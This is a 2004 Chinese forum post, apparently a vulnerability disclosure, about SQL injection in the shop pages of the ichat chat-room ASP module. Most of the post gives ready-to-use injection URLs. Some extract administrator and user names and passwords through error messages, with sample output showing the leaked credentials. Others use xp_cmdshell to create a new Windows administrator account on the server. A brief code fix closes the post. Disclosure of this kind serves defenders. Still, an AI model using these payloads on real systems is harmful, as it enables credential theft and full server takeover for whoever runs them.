光电工程师社区

标题: ichat聊天室asp模块存在SQL注入漏洞 [打印本页]

作者: suncon    时间: 2004-1-8 09:42
标题: ichat聊天室asp模块存在SQL注入漏洞
ichat聊天室asp模块存在SQL注入漏洞

ichat聊天室asp模块存在SQL注入漏洞和演示
涉及版本
ichat1.81
ichat1.85
ichat1.86
ichat聊天室是国内比较著名的聊天服务器软件,其中的百宝箱里面的userboxrun.asp,userboxsend1.asp等文件存在sql 注入漏洞,用户提交:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 username from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 pass from admin)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 username from userinfo)
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 userpassword from userinfo)
等一系列url能得到聊天室管理员用户名称和密码。
在没关闭详细错误显示的sql版服务器上提交:

http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 username from admin)=5
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266 &#59;&#59;and (select top 1 pass from admin)=5
类似url可以得到如下显示

Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’

将 varchar 值 ’admin’ 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

admin即为管理员名称

Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’

将 varchar 值 ’ichat’ 转换为数据类型为 int 的列时发生语法错误。

/shop/userboxrun.asp,行27

ichat即为管理员密码,具体过程不再详述。
最危险的是,在没删除xp_cmdshell储存过程的sql版服务器上,如果用于ichat连接数据库的sql用户是sa权限的,提交如下url:
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266&#59;exec master.dbo.xp_cmdshell net user xiaolu xiaoxue /add&#59;--
http://xx.xx.xx.xx/shop/userboxrun.asp?wp=1266&#59;exec master.dbo.xp_cmdshell net localgroup administrators xiaolu /add&#59;--

可以添加用户名称为:xiaolu,密码为:xiaoxue的服务器管理员。
解决办法:

wpid=request.querystring(wp)
wpid=replace(wpid,’,)
添加:
wpid=cint(wpid)







欢迎光临 光电工程师社区 (http://bbs.oecr.com/) Powered by Discuz! X3.2